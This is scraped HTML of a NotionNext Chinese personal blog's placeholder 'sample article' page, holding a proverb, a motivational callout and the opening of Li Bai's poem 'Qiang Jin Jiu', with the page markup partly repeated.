h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">示例文章</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-d3216be61b2740e786777404896b7eb6"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-6c2aad496a124775914f7ed36358eb32" data-id="6c2aad496a124775914f7ed36358eb32"><span><div id="6c2aad496a124775914f7ed36358eb32" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6c2aad496a124775914f7ed36358eb32" title="基本段落"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基本段落</span></span></h2><blockquote class="notion-quote notion-block-9b26bd9a9a464d36b995bf4d3d58dd45"><div>书中自有黄金屋,书中自有颜如玉</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-c2d6e2c5296b475cb2d87723d212a732"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。</div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-f0f6bef4ecce4a2fa4c308d7582d4c2a" data-id="f0f6bef4ecce4a2fa4c308d7582d4c2a"><span><div id="f0f6bef4ecce4a2fa4c308d7582d4c2a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f0f6bef4ecce4a2fa4c308d7582d4c2a" title="将进酒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>将进酒</b></span></span></h3><div class="notion-text notion-block-9369db5e52eb4c768f20ee3937c65109">李白〔唐代〕<a target="_blank" rel="noopener noreferrer" class="notion-link" href="#a47eb4929c654ac4b8c895d00023a97e">参考[1]</a></div><div class="notion-text notion-block-f190aaaf4ada493bbb58bac82327317e">君不见黄河之水天上来,奔流到海不复回。
+<!DOCTYPE html><html lang="zh-CN"><head><title>示例文章 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,文字,推荐"/><meta name="description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="示例文章 | Both Savage"/><meta property="og:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:url" content="https://bothsavage.github.io//article/example"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=d3216be6-1b27-40e7-8677-7404896b7eb6&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta name="twitter:title" content="示例文章 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="心"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md 